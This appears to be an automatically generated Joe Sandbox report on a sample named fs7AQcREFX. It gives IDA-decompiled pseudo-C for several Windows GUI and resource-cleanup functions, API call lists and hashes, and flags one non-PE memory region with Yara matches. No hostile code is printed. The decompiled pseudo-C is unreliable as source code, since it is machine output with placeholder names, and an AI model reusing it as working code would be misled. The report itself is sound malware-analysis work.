Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageMetricsSendSystem$ClientLongRectWindow
String ID:
API String ID: 1858223077-0
Opcode ID: a07de91e61f85e63d5e057f9c0eadc382ec0bda9661fd85568642445deebe584
Instruction ID: 5b9f7ad670c58400cd8335f5a513eb1b0b459ebeb4a610b7b8747cfd16e7967d
Opcode Fuzzy Hash: a07de91e61f85e63d5e057f9c0eadc382ec0bda9661fd85568642445deebe584
Instruction Fuzzy Hash: 4E518471A00209AFC725DFA8D989BAAB3F5FB4C700F50466DE596E3681D7B4A981CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000F9910 Relevance: 9.1, APIs: 6, Instructions: 128
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E000F9910(intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				signed int _t46;
				struct HENHMETAFILE__* _t50;
				struct HENHMETAFILE__* _t51;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t64;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t91;
				signed int _t94;
				void* _t95;

				_push(0xffffffff);
				_push(E0010F8D6);
				_push( *[fs:0x0]);
				_t46 =  *0x159060; // 0x1f9a9bdf
				_push(_t46 ^ _t94);
				 *[fs:0x0] =  &_v16;
				_t91 = _a4;
				_v8 = 7;
				_t49 =  *((intOrPtr*)(_t91 + 0x52c));
				if( *((intOrPtr*)(_t91 + 0x52c)) != 0) {
					E00105DE2(_t49);
					_t95 = _t95 + 4;
					 *((intOrPtr*)(_t91 + 0x52c)) = 0;
				}
				 *((intOrPtr*)(_t91 + 0x530)) = 0;
				 *((intOrPtr*)(_t91 + 0x534)) = 0;
				_t50 =  *(_t91 + 0x510);
				if(_t50 != 0) {
					DeleteEnhMetaFile(_t50);
					 *(_t91 + 0x510) = 0;
				}
				_t51 =  *(_t91 + 0x4f0);
				if(_t51 != 0) {
					DeleteEnhMetaFile(_t51);
					 *(_t91 + 0x4f0) = 0;
				}
				if( *((intOrPtr*)(_t91 + 0x4ec)) != 0) {
					 *((intOrPtr*)(_t91 + 0x4ec)) = 0;
				}
				_t52 =  *((intOrPtr*)(_t91 + 0x4d8));
				if( *((intOrPtr*)(_t91 + 0x4d8)) != 0) {
					E00105701(_t52);
				}
				_t53 =  *(_t91 + 0x4bc);
				if(_t53 != 0) {
					GlobalUnlock(_t53);
					GlobalFree( *(_t91 + 0x4bc));
					 *(_t91 + 0x4bc) = 0;
				}
				_t54 =  *(_t91 + 0x4b8);
				if(_t54 != 0) {
					ClosePrinter(_t54);
					 *(_t91 + 0x4b8) = 0;
				}
				_t85 = _t91 + 0x250;
				_v20 = _t85;
				_v8 = 8;
				_t55 =  *(_t85 + 0x4c);
				if(_t55 != 0 && DeleteObject(_t55) != 0) {
					 *(_t85 + 0x4c) = 0;
				}
				E000F7560(_t85 + 0x24);
				_v8 = 4;
				_t86 =  *((intOrPtr*)(_t85 + 0x14));
				if( *((intOrPtr*)(_t85 + 0x14)) != 0) {
					E00105701(_t86);
				}
				_t87 = _t91 + 0x224;
				_v20 = _t87;
				_v8 = 9;
				_push( *((intOrPtr*)(_t87 + 0x28)));
				E001062C2();
				_v8 = 3;
				_t88 =  *((intOrPtr*)(_t87 + 0x14));
				if( *((intOrPtr*)(_t87 + 0x14)) != 0) {
					E00105701(_t88);
				}
				_t60 =  *((intOrPtr*)(_t91 + 0x108));
				if( *((intOrPtr*)(_t91 + 0x108)) != 0) {
					E00105DE2(_t60);
					 *((intOrPtr*)(_t91 + 0x108)) = 0;
				}
				 *((intOrPtr*)(_t91 + 0x10c)) = 0;
				 *((intOrPtr*)(_t91 + 0x110)) = 0;
				_v8 = 1;
				E000FBA00(_t91 + 0x54);
				_v8 = 0;
				_t64 = E000F5090(_t91 + 0x3c);
				_v8 = 0xffffffff;
				_t92 =  *((intOrPtr*)(_t91 + 0x14));
				if( *((intOrPtr*)(_t91 + 0x14)) != 0) {
					_t64 = E00105701(_t92);
				}
				 *[fs:0x0] = _v16;
				return _t64;
			}

0x000f9913
0x000f9915
0x000f9920
0x000f9925
0x000f992c
0x000f9930
0x000f9936
0x000f9939
0x000f9940
0x000f994a
0x000f994d
0x000f9952
0x000f9955
0x000f9955
0x000f9961
0x000f9967
0x000f996d
0x000f9975
0x000f9978
0x000f997a
0x000f997a
0x000f9980
0x000f9988
0x000f998b
0x000f998d
0x000f998d
0x000f9999
0x000f999b
0x000f999b
0x000f99a1
0x000f99a9
0x000f99ac
0x000f99ac
0x000f99b1
0x000f99b9
0x000f99bc
0x000f99c9
0x000f99cf
0x000f99cf
0x000f99d5
0x000f99dd
0x000f99e0
0x000f99e6
0x000f99e6
0x000f99ec
0x000f99f2
0x000f99f5
0x000f99f9
0x000f99fe
0x000f9a0b
0x000f9a0b
0x000f9a12
0x000f9a17
0x000f9a1b
0x000f9a20
0x000f9a23
0x000f9a23
0x000f9a28
0x000f9a2e
0x000f9a31
0x000f9a38
0x000f9a39
0x000f9a3e
0x000f9a42
0x000f9a4a
0x000f9a4d
0x000f9a4d
0x000f9a52
0x000f9a5a
0x000f9a5d
0x000f9a65
0x000f9a65
0x000f9a6f
0x000f9a75
0x000f9a7b
0x000f9a7f
0x000f9a88
0x000f9a8b
0x000f9a90
0x000f9a97
0x000f9a9c
0x000f9a9f
0x000f9a9f
0x000f9aa7
0x000f9ab5

APIs

DeleteEnhMetaFile.GDI32(?), ref: 000F9978
DeleteEnhMetaFile.GDI32(?), ref: 000F998B
GlobalUnlock.KERNEL32(?,1F9A9BDF,?,?,?,?,?,0010F8D6,000000FF,?,000F982C), ref: 000F99BC
GlobalFree.KERNEL32 ref: 000F99C9
ClosePrinter.WINSPOOL.DRV(?,1F9A9BDF,?,?,?,?,?,0010F8D6,000000FF,?,000F982C), ref: 000F99E0
DeleteObject.GDI32(?), ref: 000F9A01

Part of subcall function 00105DE2: HeapFree.KERNEL32(00000000,00000000,?,0010755E,00000000,?,?,00107A12,001063ED,?,?,?,000F1339,80070057), ref: 00105DF8
Part of subcall function 00105DE2: GetLastError.KERNEL32(00000000,?,0010755E,00000000,?,?,00107A12,001063ED,?,?,?,000F1339,80070057), ref: 00105E0A

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Delete$FileFreeGlobalMeta$CloseErrorHeapLastObjectPrinter.Unlock
String ID:
API String ID: 3967346493-0
Opcode ID: 439c125f46390e0d42a0b04113d646cac8f0501652d8bdb655218c9dea0c400b
Instruction ID: 957ea98ebe68b612e704264e09b7aadc97406ab8e3c490608d7f9d7f6a156329
Opcode Fuzzy Hash: 439c125f46390e0d42a0b04113d646cac8f0501652d8bdb655218c9dea0c400b
Instruction Fuzzy Hash: CB5180B1904B49DBC720DFA9C8C4B9AF7E9BB04300F54492DE69AD3A41C7B4B944DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00100430 Relevance: 9.1, APIs: 6, Instructions: 122
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00100430(void* __ecx, intOrPtr* __edx, void* __eflags) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				struct tagPOINT _v24;
				long _v28;
				long _v32;
				long _v36;
				struct tagTPMPARAMS _v44;
				struct HWND__* _v48;
				struct tagPOINT _v56;
				struct HMENU__* _v64;
				struct tagTPMPARAMS* _v68;
				int _v72;
				long _v76;
				int _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				struct HWND__** _t56;
				intOrPtr _t59;
				signed char _t62;
				struct HWND__* _t65;
				int _t66;
				struct HMENU__* _t67;
				struct HWND__* _t75;
				int _t80;
				void* _t105;
				int _t106;
				intOrPtr* _t107;
				signed int _t109;

				_t54 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t54 ^ _t109;
				_t107 = __edx;
				_t56 =  *(__edx + 4);
				_t75 =  *_t56;
				_t105 = __ecx;
				_v56.x = _t56[6];
				_v56.y = _t56[9];
				MapWindowPoints(_t75, 0,  &_v56, 1);
				_t59 =  *((intOrPtr*)(_t107 + 4));
				_v24.x =  *(_t59 + 0x18);
				_v24.y =  *((intOrPtr*)(_t59 + 0x1c));
				_v16 =  *((intOrPtr*)(_t59 + 0x20));
				_v12 =  *((intOrPtr*)(_t59 + 0x24));
				MapWindowPoints(_t75, 0,  &_v24, 2);
				_t62 = E000F4890(_t75, _t105, _t107);
				asm("sbb ebx, ebx");
				_v36 = 0;
				_v44.rcExclude = 0;
				_v32 = 0;
				_v28 = 0;
				_v36 = _v24.y;
				_v44.rcExclude = _v24.x;
				_t80 = ( ~(_t62 & 0x000000ff) & 0xfffff000) + 0x00001000 | 0x00000040;
				_v44.cbSize = 0x14;
				_v32 = _v16;
				_v28 = _v12;
				_t65 = SendMessageA( *(_t105 + 4), 0x52d, 0, 0);
				_v48 = _t65;
				_t66 = IsWindow(_t65);
				_t67 =  *_t107;
				if(_t66 == 0) {
					_t106 = _v56.y;
					_v64 = _t67;
					_v48 =  *(_t105 + 4);
					return E001059E6(TrackPopupMenuEx(_v64, _t80, E00101BD0(_t106, _v56.x), _t106, _v48,  &_v44), _t80, _v8 ^ _t109, _t106, _t106, _v56.x);
				} else {
					_v76 = _v56.x;
					_v72 = _v56.y;
					_v84 = _t67;
					_v88 = 0x18;
					_v80 = _t80;
					_v68 =  &_v44;
					return E001059E6(SendMessageA(_v48, 0x52f, 0,  &_v88), _t80, _v8 ^ _t109, _v48, _t105, _t107);
				}
			}

0x00100436
0x0010043d
0x00100443
0x00100445
0x00100448
0x0010044a
0x0010044f
0x0010045e
0x00100461
0x00100467
0x0010046d
0x00100473
0x00100479
0x00100488
0x0010048b
0x00100491
0x001004a1
0x001004a7
0x001004ac
0x001004b5
0x001004b8
0x001004be
0x001004c4
0x001004d6
0x001004d9
0x001004e0
0x001004e3
0x001004e6
0x001004ed
0x001004f0
0x001004f8
0x001004fa
0x00100544
0x0010054a
0x0010054d
0x0010057c
0x001004fc
0x00100502
0x0010050b
0x00100511
0x0010051d
0x00100524
0x00100527
0x00100540
0x00100540

APIs

MapWindowPoints.USER32 ref: 00100461
MapWindowPoints.USER32 ref: 0010048B

Part of subcall function 000F4890: _memset.LIBCMT ref: 000F48B1
Part of subcall function 000F4890: GetVersionExA.KERNEL32(?), ref: 000F48CA

SendMessageA.USER32(?,0000052D,00000000,00000000), ref: 001004E6
IsWindow.USER32(00000000), ref: 001004F0
SendMessageA.USER32(?,0000052F,00000000,?), ref: 0010052A
TrackPopupMenuEx.USER32(?,-00001000,00000000,?,?,00000014,?,00000000), ref: 00100566

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$MessagePointsSend$MenuPopupTrackVersion_memset
String ID:
API String ID: 941122160-0
Opcode ID: 91bd1eb0af290896c64eb6c46c785b79931d9b544ac1447b97a7e3596eb0b31b
Instruction ID: fee4b2f8ea85988c9e2c476a5c590a2541415018730acac1796a74d47de74cde
Opcode Fuzzy Hash: 91bd1eb0af290896c64eb6c46c785b79931d9b544ac1447b97a7e3596eb0b31b
Instruction Fuzzy Hash: 2E41A5B5E00208AFDB04DFA9D985AEEBBF5FB4C710F108169E519A7390D774A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02522B57 Relevance: 9.1, APIs: 6, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,-00000005), ref: 02522B8D
RtlAllocateHeap.NTDLL(00000000), ref: 02522B94
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02522C65
HeapFree.KERNEL32(00000000), ref: 02522C6C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02522CB1
HeapFree.KERNEL32(00000000), ref: 02522CB8

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocate
String ID:
API String ID: 168621272-0
Opcode ID: 51b7779d5b677c6b98e40bc31692b49409fd2e2baf2c8c8805a39a0e9ae22e24
Instruction ID: 0c17151ab4184bdc41e92c0fc5b6b8c86741f61fb1607c21ff9b38177f2f3b7f
Opcode Fuzzy Hash: 51b7779d5b677c6b98e40bc31692b49409fd2e2baf2c8c8805a39a0e9ae22e24
Instruction Fuzzy Hash: B3414BB5D0421AEBDB04CFA4C984BAE7BB5FF45304F108619E925A73C0D7749A48CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 001036B0 Relevance: 9.1, APIs: 6, Instructions: 120
windowCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E001036B0(intOrPtr* __ecx, char _a4) {
				int _v8;
				char _v16;
				long _v20;
				CHAR* _v24;
				signed int _t30;
				long _t37;
				CHAR** _t41;
				intOrPtr _t44;
				void* _t54;
				CHAR* _t62;
				struct HWND__* _t64;
				CHAR* _t74;
				LONG* _t75;
				intOrPtr* _t77;
				signed int _t80;
				void* _t81;
				void* _t82;

				_push(0xffffffff);
				_push(E0010F410);
				_push( *[fs:0x0]);
				_t82 = _t81 - 8;
				_t30 =  *0x159060; // 0x1f9a9bdf
				_push(_t30 ^ _t80);
				 *[fs:0x0] =  &_v16;
				_t77 = __ecx;
				if(__ecx == 0) {
					_t54 = 0;
				} else {
					_t54 = __ecx - 0x24;
				}
				SendMessageA( *(_t54 + 4), 0x43f, 0, 0);
				SetCursor( *(_t77 + 0x24));
				E00103C60( &_v20, 0);
				_v8 = 0;
				_t37 = _v20;
				if( *((intOrPtr*)(_t37 - 8)) <= 0) {
					L14:
					_v8 = 0xffffffff;
					if(_t37 - 0xc != 0x15ad20) {
						_t37 = InterlockedDecrement(_t37 + 0xfffffff4);
						if(_t37 <= 0) {
							_push(_v20 + 0xfffffff4);
							_t37 = E001062C2();
						}
					}
					 *[fs:0x0] = _v16;
					return _t37;
				} else {
					_t62 =  *0x15ad30; // 0x15ad2c
					_v24 = _t62;
					_v8 = 1;
					_push( *((intOrPtr*)(_t77 + 8)));
					_push( *((intOrPtr*)(_t77 + 4)));
					E000F58F0( &_v24, _t37, _a4);
					_t82 = _t82 + 0x10;
					_push(1);
					_push( &_a4);
					if( *_t77 == 0) {
						_t41 = E00103C60();
						_t64 =  *(_t54 + 4);
					} else {
						_t41 = E00103C60();
						_t64 =  *( *_t77 + 4);
					}
					_t74 = _v24;
					MessageBoxA(_t64, _t74,  *_t41, 0x40);
					_t44 = _a4;
					_t20 = _t44 - 0xc; // -12
					if(_t20 != 0x15ad20 && InterlockedDecrement(_t44 + 0xfffffff4) <= 0) {
						_push(_a4 + 0xfffffff4);
						E001062C2();
						_t82 = _t82 + 4;
					}
					_v8 = 0;
					if(_t74 - 0xc != 0x15ad20) {
						_t75 =  &(_t74[0xfffffffffffffff4]);
						if(InterlockedDecrement(_t75) <= 0) {
							_push(_t75);
							E001062C2();
							_t82 = _t82 + 4;
						}
					}
					_t37 = _v20;
					goto L14;
				}
			}

0x001036b3
0x001036b5
0x001036c0
0x001036c1
0x001036c7
0x001036ce
0x001036d2
0x001036d8
0x001036dc
0x001036e3
0x001036de
0x001036de
0x001036de
0x001036f2
0x001036fc
0x00103708
0x0010370d
0x00103714
0x0010371c
0x001037c9
0x001037cc
0x001037d9
0x001037df
0x001037e7
0x001037ef
0x001037f0
0x001037f5
0x001037e7
0x001037fb
0x00103809
0x00103722
0x00103722
0x00103728
0x0010372b
0x00103735
0x00103739
0x0010373f
0x00103744
0x0010374a
0x0010374f
0x00103750
0x0010375e
0x00103763
0x00103752
0x00103752
0x00103759
0x00103759
0x00103768
0x00103770
0x00103776
0x00103779
0x00103782
0x00103798
0x00103799
0x0010379e
0x0010379e
0x001037a4
0x001037ad
0x001037af
0x001037bb
0x001037bd
0x001037be
0x001037c3
0x001037c3
0x001037bb
0x001037c6
0x00000000
0x001037c6

APIs

SendMessageA.USER32(?,0000043F,00000000,00000000), ref: 001036F2
SetCursor.USER32(?), ref: 001036FC
MessageBoxA.USER32 ref: 00103770
InterlockedDecrement.KERNEL32(-000000F4), ref: 00103788
InterlockedDecrement.KERNEL32(?), ref: 001037B3
InterlockedDecrement.KERNEL32(?), ref: 001037DF

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: DecrementInterlocked$Message$CursorSend
String ID:
API String ID: 504520102-0
Opcode ID: fea50c54da35e42a1c42fcd008259cecb9725d3f7cbfa1719c61f5a9dfd9d7fa
Instruction ID: cf47b0bc0f78530afb2ec0f93c6d3c00ad38c9f33b3f48a7dfaf006d59576c85
Opcode Fuzzy Hash: fea50c54da35e42a1c42fcd008259cecb9725d3f7cbfa1719c61f5a9dfd9d7fa
Instruction Fuzzy Hash: FF41B4B2900608EBD714DB64CD85B6AB3B8FF58720F148619F971AB6D0D7B0AA44C751

Uniqueness

Uniqueness Score: -1.00%

Function 00102A90 Relevance: 9.1, APIs: 6, Instructions: 119
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00102A90(CHAR* __eax, void* __ebx, void* __ecx, int _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v8;
				void* __edi;
				void* __esi;
				int _t40;
				int _t42;
				void* _t60;
				void* _t62;
				CHAR* _t80;
				CHAR* _t82;
				void* _t85;
				void* _t89;
				void* _t90;
				intOrPtr _t92;

				_t62 = __ebx;
				_push(__ecx);
				_t80 = __eax;
				_t40 = 0;
				if(__ebx == 0) {
					_v8 = 0;
				} else {
					_t1 = _t62 - 0x24; // 0x0
					_v8 = _t1;
				}
				_t4 = _t62 + 4; // 0x28
				_t89 = _t4;
				if(_t80 != _t40) {
					_t40 = lstrlenA(_t80);
				}
				E000F5F10(_t40, _t89, _t80);
				_t82 = _a4;
				_t6 = _t62 + 8; // 0x2c
				_t90 = _t6;
				if(_t82 != 0) {
					_t42 = lstrlenA(_t82);
				} else {
					_t42 = 0;
				}
				E000F5F10(_t42, _t90, _t82);
				_t85 = _v8 + 0x24;
				 *((intOrPtr*)(_t62 + 0x14)) = _a8;
				 *((intOrPtr*)(_t62 + 0x18)) = _a12;
				 *(_t62 + 0x1c) = 1;
				if(E001035A0( *((intOrPtr*)(_t62 + 4)), _t85, _a8) != 0 || E00102580( *((intOrPtr*)(_t62 + 0x18)),  *((intOrPtr*)(_t62 + 0x14)), _t85,  *((intOrPtr*)(_t62 + 4)),  *(_t62 + 0x1c)) != 0) {
					if(_t85 == 0) {
						_a4 = 0;
					} else {
						_a4 = _t85 - 0x24;
					}
					 *((intOrPtr*)(_t85 + 0x24)) = SetCursor(LoadCursorA(0, 0x7f02));
					SendMessageA( *(_a4 + 4), 0x43f, 1, 0);
					_a4 = 0;
					do {
						_a4 = _a4 + 1;
						SendMessageA( *(_v8 + 4), 0xc2, 0,  *(_t62 + 8));
					} while (E00102580( *((intOrPtr*)(_t62 + 0x18)),  *((intOrPtr*)(_t62 + 0x14)), _t85,  *((intOrPtr*)(_t62 + 4)),  *(_t62 + 0x1c)) != 0);
					return E001036B0(_t85, _a4);
				} else {
					_t92 =  *((intOrPtr*)(_t62 + 4));
					if(_t85 == 0) {
						_t60 = 0;
					} else {
						_t60 = _t85 - 0x24;
					}
					_t20 = _t60 + 0x24; // 0xf6d70
					 *(_t85 + 0x10) = 1;
					return E00103810(_t20, _t92);
				}
			}

0x00102a90
0x00102a93
0x00102a96
0x00102a98
0x00102a9c
0x00102aa6
0x00102a9e
0x00102a9e
0x00102aa1
0x00102aa1
0x00102aa9
0x00102aa9
0x00102aae
0x00102ab1
0x00102ab1
0x00102aba
0x00102abf
0x00102ac2
0x00102ac2
0x00102ac7
0x00102ace
0x00102ac9
0x00102ac9
0x00102ac9
0x00102ad7
0x00102ae9
0x00102aed
0x00102af0
0x00102af3
0x00102b01
0x00102b44
0x00102b4e
0x00102b46
0x00102b49
0x00102b49
0x00102b6b
0x00102b7c
0x00102b82
0x00102b90
0x00102b99
0x00102ba5
0x00102bc0
0x00102bd4
0x00102b1c
0x00102b1c
0x00102b21
0x00102b28
0x00102b23
0x00102b23
0x00102b23
0x00102b2b
0x00102b2e
0x00102b3f
0x00102b3f

APIs

lstrlenA.KERNEL32(00000260,?,8189C294,000F6D4C,?,00101881,5204418B,8189C294,8189C294,?,?,000FFD16,?,000F6D4C,?,?), ref: 00102AB1
lstrlenA.KERNEL32(?,?,8189C294,000F6D4C,?,00101881,5204418B,8189C294,8189C294,?,?,000FFD16,?,000F6D4C,?,?), ref: 00102ACE
LoadCursorA.USER32 ref: 00102B5C
SetCursor.USER32(00000000,?,00101881), ref: 00102B63
SendMessageA.USER32(?,0000043F,00000001,00000000), ref: 00102B7C
SendMessageA.USER32(?,000000C2,00000000,?), ref: 00102BA5

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CursorMessageSendlstrlen$Load
String ID:
API String ID: 2433542616-0
Opcode ID: 4e8c053a52651bc1ef47e47080cdca9578472d56093c10bb4494dbe7ba651f11
Instruction ID: bb14f1120e301e0398fc221537b52cbfd0946477e5795500e3987f6d6c5b3100
Opcode Fuzzy Hash: 4e8c053a52651bc1ef47e47080cdca9578472d56093c10bb4494dbe7ba651f11
Instruction Fuzzy Hash: 03415075600204EFCB14DF54C9C8BAABBE9EF98350F148059FD499B385EBB0E951CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000FBA00 Relevance: 9.1, APIs: 6, Instructions: 108
windowCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E000FBA00(intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _t35;
				struct HMENU__* _t40;
				void* _t41;
				void* _t42;
				intOrPtr _t47;
				intOrPtr _t71;
				signed int _t73;
				void* _t74;

				_push(0xffffffff);
				_push(E0010F6F0);
				_push( *[fs:0x0]);
				_t35 =  *0x159060; // 0x1f9a9bdf
				_push(_t35 ^ _t73);
				 *[fs:0x0] =  &_v16;
				_t71 = _a4;
				_v8 = 1;
				_t4 = _t71 + 0x5c; // 0xcccc0004
				if(IsWindow( *_t4) != 0) {
					_t5 = _t71 + 0x5c; // 0xcccc0004
					_t6 = _t71 + 0x6c; // 0x6aec8b55
					if( *_t6 == GetWindowLongA( *_t5, 0xfffffffc)) {
						_t7 = _t71 + 0x74; // 0xa1640010
						_t8 = _t71 + 0x5c; // 0xcccc0004
						if(SetWindowLongA( *_t8, 0xfffffffc,  *_t7) != 0) {
							 *(_t71 + 0x74) = DefWindowProcA;
							 *(_t71 + 0x5c) = 0;
						}
					}
				}
				_t11 = _t71 + 0x44; // 0x1f34
				_t40 =  *_t11;
				if(_t40 != 0 && ( *(_t71 + 0x58) & 0x00000002) == 0) {
					DestroyMenu(_t40);
				}
				_t15 = _t71 + 0x48; // 0x10845f6
				_t41 =  *_t15;
				if(_t41 != 0) {
					ImageList_Destroy(_t41);
				}
				_t16 = _t71 + 0xa4; // 0xfc45c700
				_t42 =  *_t16;
				if(_t42 != 0 && DeleteObject(_t42) != 0) {
					 *(_t71 + 0xa4) = 0;
				}
				_t18 = _t71 + 0x6c; // 0x6aec8b55
				_t43 =  *_t18;
				if( *_t18 != 0) {
					E00105701(_t43);
				}
				_t19 = _t71 + 0x4c; // 0xe8560974
				_t44 =  *_t19;
				if( *_t19 != 0) {
					E00105DE2(_t44);
					_t74 = _t74 + 4;
					 *((intOrPtr*)(_t71 + 0x4c)) = 0;
				}
				 *((intOrPtr*)(_t71 + 0x50)) = 0;
				 *((intOrPtr*)(_t71 + 0x54)) = 0;
				_v8 = 2;
				_t24 = _t71 + 0x34; // 0xcccccccc
				_t45 =  *_t24;
				if( *_t24 != 0) {
					E00105701(_t45);
				}
				_t25 = _t71 + 0x14; // 0xf33b1476
				_t46 =  *_t25;
				if( *_t25 != 0) {
					E00105DE2(_t46);
					_t74 = _t74 + 4;
					 *((intOrPtr*)(_t71 + 0x14)) = 0;
				}
				 *((intOrPtr*)(_t71 + 0x18)) = 0;
				 *((intOrPtr*)(_t71 + 0x1c)) = 0;
				_t29 = _t71 + 8; // 0xffffb600
				_t47 =  *_t29;
				if(_t47 != 0) {
					_t47 = E00105DE2(_t47);
					 *((intOrPtr*)(_t71 + 8)) = 0;
				}
				 *((intOrPtr*)(_t71 + 0x10)) = 0;
				 *((intOrPtr*)(_t71 + 0xc)) = 0;
				 *[fs:0x0] = _v16;
				return _t47;
			}

0x000fba03
0x000fba05
0x000fba10
0x000fba14
0x000fba1b
0x000fba1f
0x000fba25
0x000fba28
0x000fba2f
0x000fba3d
0x000fba3f
0x000fba42
0x000fba50
0x000fba52
0x000fba55
0x000fba64
0x000fba6c
0x000fba6f
0x000fba6f
0x000fba64
0x000fba50
0x000fba72
0x000fba72
0x000fba7c
0x000fba84
0x000fba84
0x000fba8a
0x000fba8a
0x000fba8f
0x000fba92
0x000fba92
0x000fba98
0x000fba98
0x000fbaa0
0x000fbaad
0x000fbaad
0x000fbab3
0x000fbab3
0x000fbab8
0x000fbabb
0x000fbabb
0x000fbac0
0x000fbac0
0x000fbac5
0x000fbac8
0x000fbacd
0x000fbad0
0x000fbad0
0x000fbad3
0x000fbad6
0x000fbad9
0x000fbadc
0x000fbadc
0x000fbae1
0x000fbae4
0x000fbae4
0x000fbae9
0x000fbae9
0x000fbaee
0x000fbaf1
0x000fbaf6
0x000fbaf9
0x000fbaf9
0x000fbafc
0x000fbaff
0x000fbb02
0x000fbb02
0x000fbb07
0x000fbb0a
0x000fbb12
0x000fbb12
0x000fbb15
0x000fbb18
0x000fbb1e
0x000fbb2c

APIs

IsWindow.USER32(CCCC0004), ref: 000FBA33
GetWindowLongA.USER32 ref: 000FBA48
SetWindowLongA.USER32 ref: 000FBA5C
DestroyMenu.USER32(00001F34,?,000F9A84), ref: 000FBA84
